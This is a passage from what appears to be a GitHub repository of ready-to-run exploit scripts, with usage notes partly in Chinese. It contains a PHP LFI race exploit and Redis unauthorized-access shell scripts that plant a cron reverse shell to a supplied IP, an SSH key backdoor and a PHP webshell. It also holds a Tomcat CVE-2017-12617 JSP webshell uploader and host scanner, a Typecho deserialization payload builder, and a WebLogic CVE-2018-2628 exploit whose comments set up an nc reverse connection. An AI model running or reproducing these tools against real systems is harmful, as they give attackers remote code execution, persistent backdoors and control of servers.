lfi.connect((self.host, self.port)) 90 | 91 | phpinfo.send(self.req_payload) 92 | 93 | infopage = b"" 94 | while len(infopage) < self.offset: 95 | infopage += phpinfo.recv(self.offset) 96 | 97 | pos = infopage.decode('utf8').index("[tmp_name] => ") 98 | tmpname = infopage[pos+17:pos+31] 99 | 100 | lfireq = self.lfireq % (tmpname.decode('utf8'),self.host) 101 | lfi.send(lfireq.encode('utf8')) 102 | 103 | fipage = lfi.recv(4096) 104 | 105 | phpinfo.close() 106 | lfi.close() 107 | 108 | if fipage.decode('utf8').find(tag) != -1: 109 | return tmpname 110 | 111 | 112 | if __name__ == '__main__': 113 | if len(sys.argv) < 4: 114 | print('usage:\n\texp.py 127.0.0.1 80 500') 115 | exit() 116 | host = sys.argv[1] 117 | port = sys.argv[2] 118 | attempts = sys.argv[3] 119 | print('{x}Start expolit {host}:{port} {attempts} times{x}'.format(x='*'*15, host=host, port=port, attempts=attempts)) 120 | 121 | p = PHPINFO_LFI(host,port) 122 | for i in range(int(attempts)): 123 | print('Trying {}/{} times…'.format(i, attempts), end="\r") 124 | if p.phpinfo_lfi() is not None: 125 | print('Getshell success! at /tmp/eval ""') 126 | exit() 127 | print(':( Failed') 128 | 129 | -------------------------------------------------------------------------------- /redis/1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kingkaki/Exploit-scripts/36264dd97749817b4dd210551177c9a15de912a5/redis/1.gif -------------------------------------------------------------------------------- /redis/2gopher/2gopher.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: kingkk 3 | # @Date: 2018-08-18 10:33:18 4 | # @Last Modified by: kingkk 5 | # @Last Modified time: 2018-08-18 12:51:18 6 | import sys 7 | 8 | exp = '' 9 | 10 | with open(sys.argv[1],'r') as f: 11 | for line in f.readlines(): 12 | if line[0] in '><+': 13 | continue 14 | elif line[-3:-1] == r'\r': 15 | if len(line) == 3: 16 | exp = exp + '%0a%0d%0a' 17 | else: 18 | line = line.replace(r'\r', '%0d%0a') 19 | line = line.replace('\n', '') 20 | exp = exp + line 21 | elif line == '\x0a': 22 | exp = exp + '%0a' 23 | else: 24 | line = line.replace('\n', '') 25 | exp = exp + line 26 | print(exp) -------------------------------------------------------------------------------- /redis/2gopher/README.md: -------------------------------------------------------------------------------- 1 | # 2gopher 2 | 3 | 将redis数据流文本转换成gopher的格式 4 | 5 | ## 注意事项 6 | 7 | 需要将数据流中的`127.0.0.1/2333`转化成所需要的ip地址和端口,同时需要修改`$61\r`中的61数字,表示数据的长度 8 | 9 | 如我这里需要改成`192.168.85.128/23333`比原先多了6个字符串就是`$67\r` 10 | 11 | ## 样例 12 | 13 | 给了三个捕获的数据流样例,分别对应`ssh公钥写入`,`webshell写入`,`反弹shell` 14 | 15 | 修改数据的同时记得修改字符串长度,嫌麻烦可以自己抓数据包 -------------------------------------------------------------------------------- /redis/2gopher/shell.txt: -------------------------------------------------------------------------------- 1 | > 2017/10/11 01:24:52.432446 length=85 from=0 to=84 2 | *3\r 3 | $3\r 4 | set\r 5 | $1\r 6 | 1\r 7 | $58\r 8 | 9 | 10 | 11 | */1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1 12 | 13 | 14 | 15 | \r 16 | < 2017/10/11 01:24:52.432685 length=5 from=0 to=4 17 | +OK\r 18 | > 2017/10/11 01:24:52.435153 length=57 from=0 to=56 19 | *4\r 20 | $6\r 21 | config\r 22 | $3\r 23 | set\r 24 | $3\r 25 | dir\r 26 | $16\r 27 | /var/spool/cron/\r 28 | < 2017/10/11 01:24:52.435332 length=5 from=0 to=4 29 | +OK\r 30 | > 2017/10/11 01:24:52.437594 length=52 from=0 to=51 31 | *4\r 32 | $6\r 33 | config\r 34 | $3\r 35 | set\r 36 | $10\r 37 | dbfilename\r 38 | $4\r 39 | root\r 40 | < 2017/10/11 01:24:52.437760 length=5 from=0 to=4 41 | +OK\r 42 | > 2017/10/11 01:24:52.439943 length=14 from=0 to=13 43 | *1\r 44 | $4\r 45 | save\r 46 | < 2017/10/11 01:24:52.443318 length=5 from=0 to=4 47 | +OK\r 48 | > 2017/10/11 01:24:52.446034 length=14 from=0 to=13 49 | *1\r 50 | $4\r 51 | quit\r 52 | < 2017/10/11 01:24:52.446148 length=5 from=0 to=4 53 | +OK\r -------------------------------------------------------------------------------- /redis/2gopher/ssh.txt: -------------------------------------------------------------------------------- 1 | > 2018/08/17 21:19:28.218653 length=431 from=0 to=430 2 | *3\r 3 | $3\r 4 | set\r 5 | $1\r 6 | 1\r 7 | $403\r 8 | 9 | 10 | 11 | 12 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjFdA5iENqT7mVAv3kopJZi0jtaDbXq2VwX7AM4Gk8wkAgBjnNGuxP0Tt5Sz0sQY1brgP7pmtTCeXUhPS33qK9RWXHNNuAAnns3c5nTtEuKvZtE+5aFDiVvyjDBhvR9YfzQFc+MgCDNedF6Fe+tzSPxDvqk5hGUoqEgwQS0NQNEIN93qN/qEiCXrUMacy6JS6fa2AC99JO+0LdVB0yMPgW2neJZSoJOYdFdJiW4XSn94aUf/mHmZQbT2VxNHv1nEspyhssTaNzDrBAE60hL91Q+CEO2ir2sSZ95xwJXJQJbeD1HyyiAhwg/ajoBafT45Ae5BjY+cH9a8gCpzXu8Tp7 kingkk@ubuntu 13 | 14 | 15 | 16 | 17 | \r 18 | < 2018/08/17 21:19:28.219534 length=5 from=0 to=4 19 | +OK\r 20 | > 2018/08/17 21:19:28.224435 length=52 from=0 to=51 21 | *4\r 22 | $6\r 23 | config\r 24 | $3\r 25 | set\r 26 | $3\r 27 | dir\r 28 | $11\r 29 | /root/.ssh/\r 30 | < 2018/08/17 21:19:28.224718 length=5 from=0 to=4 31 | +OK\r 32 | > 2018/08/17 21:19:28.230449 length=64 from=0 to=63 33 | *4\r 34 | $6\r 35 | config\r 36 | $3\r 37 | set\r 38 | $10\r 39 | dbfilename\r 40 | $15\r 41 | authorized_keys\r 42 | < 2018/08/17 21:19:28.230743 length=5 from=0 to=4 43 | +OK\r 44 | > 2018/08/17 21:19:28.236946 length=14 from=0 to=13 45 | *1\r 46 | $4\r 47 | save\r 48 | < 2018/08/17 21:19:28.239675 length=5 from=0 to=4 49 | +OK\r 50 | > 2018/08/17 21:19:28.245636 length=14 from=0 to=13 51 | *1\r 52 | $4\r 53 | quit\r 54 | < 2018/08/17 21:19:28.246285 length=5 from=0 to=4 55 | +OK\r 56 | -------------------------------------------------------------------------------- /redis/2gopher/webshell.txt: -------------------------------------------------------------------------------- 1 | > 2018/08/17 20:53:31.735827 length=58 from=0 to=57 2 | *3\r 3 | $3\r 4 | set\r 5 | $1\r 6 | 1\r 7 | $31\r 8 | 9 | \r 10 | < 2018/08/17 20:53:31.736214 length=5 from=0 to=4 11 | +OK\r 12 | > 2018/08/17 20:53:31.740278 length=55 from=0 to=54 13 | *4\r 14 | $6\r 15 | config\r 16 | $3\r 17 | set\r 18 | $3\r 19 | dir\r 20 | $14\r 21 | /var/www/html/\r 22 | < 2018/08/17 20:53:31.740505 length=5 from=0 to=4 23 | +OK\r 24 | > 2018/08/17 20:53:31.745824 length=57 from=0 to=56 25 | *4\r 26 | $6\r 27 | config\r 28 | $3\r 29 | set\r 30 | $10\r 31 | dbfilename\r 32 | $9\r 33 | shell.php\r 34 | < 2018/08/17 20:53:31.746138 length=5 from=0 to=4 35 | +OK\r 36 | > 2018/08/17 20:53:31.750332 length=14 from=0 to=13 37 | *1\r 38 | $4\r 39 | save\r 40 | < 2018/08/17 20:53:31.752903 length=5 from=0 to=4 41 | +OK\r 42 | > 2018/08/17 20:53:31.757924 length=14 from=0 to=13 43 | *1\r 44 | $4\r 45 | quit\r 46 | < 2018/08/17 20:53:31.758220 length=5 from=0 to=4 47 | +OK\r -------------------------------------------------------------------------------- /redis/README.md: -------------------------------------------------------------------------------- 1 | # redis未授权访问利用 2 | 需要本地先提前安装好redis服务 3 | ## 演示 4 | 5 | ![](1.gif) 6 | 7 | ## shell.sh 8 | 9 | 用法 10 | 11 | ``` 12 | ./shell.sh [redis-ip] [redis端口] [接收shell的ip] 13 | ``` 14 | 15 | 默认端口为23333 16 | 17 | ## ssh.sh 18 | 19 | 用法 20 | 21 | ``` 22 | ./ssh.sh [redis-ip] [redis端口] 23 | ``` 24 | 25 | 要提前在本地`.ssh`目录用`ssh-keygen -t rsa`生成一对密钥 26 | 27 | 然后用私钥登录即可 28 | 29 | 30 | 31 | ## webshell.sh 32 | 33 | 用法 34 | 35 | ``` 36 | ./webshell.sh [redis-ip] [redis端口] 37 | ``` 38 | 39 | 会在`/var/www/html`目录下生成shell.php一句话,默认密码redis 40 | 41 | 42 | 43 | ## 一些问题 44 | 45 | 由于`flushall`破坏性太大,没写入脚本中。 46 | 47 | 在原先存在一些数据的时候会影响成功率,需要的自行添加 48 | -------------------------------------------------------------------------------- /redis/shell.sh: -------------------------------------------------------------------------------- 1 | echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/$3/23333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1 2 | redis-cli -h $1 -p $2 config set dir /var/spool/cron/ 3 | redis-cli -h $1 -p $2 config set dbfilename root 4 | redis-cli -h $1 -p $2 save 5 | redis-cli -h $1 -p $2 quit -------------------------------------------------------------------------------- /redis/ssh.sh: -------------------------------------------------------------------------------- 1 | (echo -e "\n\n\n" && cat ~/.ssh/id_rsa.pub && echo -e "\n\n\n")|redis-cli -h $1 -p $2 -x set 1 2 | redis-cli -h $1 -p $2 config set dir /root/.ssh/ 3 | redis-cli -h $1 -p $2 config set dbfilename authorized_keys 4 | redis-cli -h $1 -p $2 save 5 | redis-cli -h $1 -p $2 quit -------------------------------------------------------------------------------- /redis/webshell.sh: -------------------------------------------------------------------------------- 1 | echo -e ""|redis-cli -h $1 -p $2 -x set 1 2 | redis-cli -h $1 -p $2 config set dir /var/www/html/ 3 | redis-cli -h $1 -p $2 config set dbfilename shell.php 4 | redis-cli -h $1 -p $2 save 5 | redis-cli -h $1 -p $2 quit -------------------------------------------------------------------------------- /tomcat/CVE-2017-12617.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import requests 3 | import re 4 | import signal 5 | from optparse import OptionParser 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | class bcolors: 15 | HEADER = '\033[95m' 16 | OKBLUE = '\033[94m' 17 | OKGREEN = '\033[92m' 18 | WARNING = '\033[93m' 19 | FAIL = '\033[91m' 20 | ENDC = '\033[0m' 21 | BOLD = '\033[1m' 22 | UNDERLINE = '\033[4m' 23 | 24 | 25 | 26 | 27 | banner=""" 28 | 29 | 30 | _______ ________ ___ ___ __ ______ __ ___ __ __ ______ 31 | / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | 32 | | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / 33 | | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / 34 | | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / 35 | \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ 36 | 37 | 38 | 39 | [@intx0x80] 40 | 41 | """ 42 | 43 | 44 | 45 | 46 | 47 | def signal_handler(signal, frame): 48 | 49 | print ("\033[91m"+"\n[-] Exiting"+"\033[0m") 50 | 51 | exit() 52 | 53 | signal.signal(signal.SIGINT, signal_handler) 54 | 55 | 56 | 57 | 58 | def removetags(tags): 59 | remove = re.compile('<.*?>') 60 | txt = re.sub(remove, '\n', tags) 61 | return txt.replace("\n\n\n","\n") 62 | 63 | 64 | def getContent(url,f): 65 | headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} 66 | re=requests.get(str(url)+"/"+str(f), headers=headers) 67 | return re.content 68 | 69 | def createPayload(url,f): 70 | evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>' 71 | headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} 72 | req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers) 73 | if req.status_code==201: 74 | print "File Created .." 75 | 76 | 77 | def RCE(url,f): 78 | EVIL="""
""".format(f)+""" 79 | 80 | 81 |
82 | <%@ page import="java.io.*" %> 83 | <% 84 | String cmd = request.getParameter("cmd"); 85 | String output = ""; 86 | if(cmd != null) { 87 | String s = null; 88 | try { 89 | Process p = Runtime.getRuntime().exec(cmd,null,null); 90 | BufferedReader sI = new BufferedReader(new 91 | InputStreamReader(p.getInputStream())); 92 | while((s = sI.readLine()) != null) { output += s+"
"; } 93 | } catch(IOException e) { e.printStackTrace(); } 94 | } 95 | %> 96 |
<%=output %>
""" 97 | 98 | 99 | 100 | headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} 101 | 102 | req=requests.put(str(url)+f+"/",data=EVIL, headers=headers) 103 | 104 | 105 | 106 | def shell(url,f): 107 | 108 | while True: 109 | headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} 110 | cmd=raw_input("$ ") 111 | payload={'cmd':cmd} 112 | if cmd=="q" or cmd=="Q": 113 | break 114 | 115 | re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers) 116 | re=str(re.content) 117 | t=removetags(re) 118 | print t 119 | 120 | 121 | 122 | 123 | 124 | #print bcolors.HEADER+ banner+bcolors.ENDC 125 | 126 | parse=OptionParser( 127 | 128 | 129 | bcolors.HEADER+""" 130 | 131 | 132 | _______ ________ ___ ___ __ ______ __ ___ __ __ ______ 133 | / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | 134 | | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / 135 | | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / 136 | | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / 137 | \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ 138 | 139 | 140 | 141 | 142 | ./cve-2017-12617.py [options] 143 | 144 | options: 145 | 146 | -u ,--url [::] check target url if it's vulnerable 147 | -p,--pwn [::] generate webshell and upload it 148 | -l,--list [::] hosts list 149 | 150 | [+]usage: 151 | 152 | ./cve-2017-12617.py -u http://127.0.0.1 153 | ./cve-2017-12617.py --url http://127.0.0.1 154 | ./cve-2017-12617.py -u http://127.0.0.1 -p pwn 155 | ./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn 156 | ./cve-2017-12617.py -l hotsts.txt 157 | ./cve-2017-12617.py --list hosts.txt 158 | 159 | 160 | [@intx0x80] 161 | 162 | """+bcolors.ENDC 163 | 164 | ) 165 | 166 | 167 | parse.add_option("-u","--url",dest="U",type="string",help="Website Url") 168 | parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it") 169 | parse.add_option("-l","--list",dest="L",type="string",help="hosts File") 170 | 171 | (opt,args)=parse.parse_args() 172 | 173 | if opt.U==None and opt.P==None and opt.L==None: 174 | print(parse.usage) 175 | exit(0) 176 | 177 | 178 | 179 | else: 180 | if opt.U!=None and opt.P==None and opt.L==None: 181 | print bcolors.OKGREEN+banner+bcolors.ENDC 182 | url=str(opt.U) 183 | checker="Poc.jsp" 184 | print bcolors.BOLD +"Poc Filename {}".format(checker) 185 | createPayload(str(url)+"/",checker) 186 | con=getContent(str(url)+"/",checker) 187 | if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: 188 | print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC 189 | print bcolors.WARNING+url+"/"+checker+bcolors.ENDC 190 | 191 | else: 192 | print 'Not Vulnerable to CVE-2017-12617 ' 193 | elif opt.P!=None and opt.U!=None and opt.L==None: 194 | print bcolors.OKGREEN+banner+bcolors.ENDC 195 | pwn=str(opt.P) 196 | url=str(opt.U) 197 | print "Uploading Webshell ....." 198 | pwn=pwn+".jsp" 199 | RCE(str(url)+"/",pwn) 200 | shell(str(url),pwn) 201 | elif opt.L!=None and opt.P==None and opt.U==None: 202 | print bcolors.OKGREEN+banner+bcolors.ENDC 203 | w=str(opt.L) 204 | f=open(w,"r") 205 | print "Scaning hosts in {}".format(w) 206 | checker="Poc.jsp" 207 | for i in f.readlines(): 208 | i=i.strip("\n") 209 | createPayload(str(i)+"/",checker) 210 | con=getContent(str(i)+"/",checker) 211 | if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: 212 | print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m" -------------------------------------------------------------------------------- /typecho/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kingkaki/Exploit-scripts/36264dd97749817b4dd210551177c9a15de912a5/typecho/1.png -------------------------------------------------------------------------------- /typecho/README.md: -------------------------------------------------------------------------------- 1 | # typecho 反序列化 2 | 2017.10之前的版本均可触发 3 | 访问`/install.php?finish=a` 4 | 添加post数据`__typecho_config=ser.php生成的数据` 5 | 添加referer:http://localhost/typecho/ 6 | 访问即可触发,需要执行其他的命令的可以修改ser.php中的`phpinfo();`部分即可 7 | ![](1.png) -------------------------------------------------------------------------------- /typecho/ser.php: -------------------------------------------------------------------------------- 1 | _type = $this::RSS2; 15 | $this->_items[0] = array( 16 | 'title' => '1', 17 | 'link' => '1', 18 | 'date' => 1508895132, 19 | 'category' => array(new Typecho_Request()), 20 | 'author' => new Typecho_Request(), 21 | ); 22 | } 23 | } 24 | 25 | 26 | class Typecho_Request 27 | { 28 | private $_params = array(); 29 | private $_filter = array(); 30 | 31 | public function __construct(){ 32 | $this->_params['screenName'] = 'phpinfo();'; 33 | $this->_filter[0] = 'assert'; 34 | } 35 | } 36 | 37 | $exp = array( 38 | 'adapter' => new Typecho_Feed(), 39 | 'prefix' => 'typecho_' 40 | ); 41 | 42 | echo base64_encode(serialize($exp)); -------------------------------------------------------------------------------- /weblogic/CVE-2018-2628/CVE-2018-2628.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628) 3 | # 4 | # IMPORTANT: Is provided only for educational or information purposes. 5 | # 6 | # Credit: Thanks by Liao Xinxi of NSFOCUS Security Team 7 | # Reference: http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA 8 | # 9 | # How to exploit: 10 | # 1. run below command on JRMPListener host 11 | # 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 12 | # 2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command] 13 | # e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040' 14 | # 2. start a listener on attacker host 15 | # e.g. nc -nlvp 4040 16 | # 3. run this script on attacker host 17 | # 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 18 | # 2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient] 19 | # e.g. 20 | # a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry) 21 | # b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator) 22 | 23 | from __future__ import print_function 24 | 25 | import binascii 26 | import os 27 | import socket 28 | import sys 29 | import time 30 | 31 | 32 | def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client): 33 | #generates ysoserial payload 34 | command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port) 35 | print("command: " + command) 36 | os.system(command) 37 | bin_file = open('payload.out','rb').read() 38 | return binascii.hexlify(bin_file) 39 | 40 | 41 | def t3_handshake(sock, server_addr): 42 | sock.connect(server_addr) 43 | sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex')) 44 | time.sleep(1) 45 | sock.recv(1024) 46 | print('handshake successful') 47 | 48 | 49 | def build_t3_request_object(sock, port): 50 | data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' 51 | data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport)) 52 | data3 = '1a7727000d3234322e323134' 53 | data4 = '2e312e32353461863d1d0000000078' 54 | for d in [data1,data2,data3,data4]: 55 | sock.send(d.decode('hex')) 56 | time.sleep(2) 57 | print('send request payload successful,recv length:%d'%(len(sock.recv(2048)))) 58 | 59 | 60 | def send_payload_objdata(sock, data): 61 | payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' 62 | payload+=data 63 | payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' 64 | payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload) 65 | sock.send(payload.decode('hex')) 66 | time.sleep(2) 67 | sock.send(payload.decode('hex')) 68 | res = '' 69 | try: 70 | while True: 71 | res += sock.recv(4096) 72 | time.sleep(0.1) 73 | except Exception: 74 | pass 75 | return res 76 | 77 | 78 | def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client): 79 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 80 | sock.settimeout(65) 81 | server_addr = (dip, dport) 82 | t3_handshake(sock, server_addr) 83 | build_t3_request_object(sock, dport) 84 | payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client) 85 | print("payload: " + payload) 86 | rs=send_payload_objdata(sock, payload) 87 | print('response: ' + rs) 88 | print('exploit completed!') 89 | 90 | 91 | if __name__=="__main__": 92 | #check for args, print usage if incorrect 93 | if len(sys.argv) != 7: 94 | print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] ' 95 | '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n') 96 | sys.exit() 97 | 98 | dip = sys.argv[1] 99 | dport = int(sys.argv[2]) 100 | path_ysoserial = sys.argv[3] 101 | jrmp_listener_ip = sys.argv[4] 102 | jrmp_listener_port = sys.argv[5] 103 | jrmp_client = sys.argv[6] 104 | exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client) -------------------------------------------------------------------------------- /weblogic/ysoserial-0.0.6.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kingkaki/Exploit-scripts/36264dd97749817b4dd210551177c9a15de912a5/weblogic/ysoserial-0.0.6.txt -------------------------------------------------------------------------------- /xlxs-xxe/http.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kingkaki/Exploit-scripts/36264dd97749817b4dd210551177c9a15de912a5/xlxs-xxe/http.xlsx --------------------------------------------------------------------------------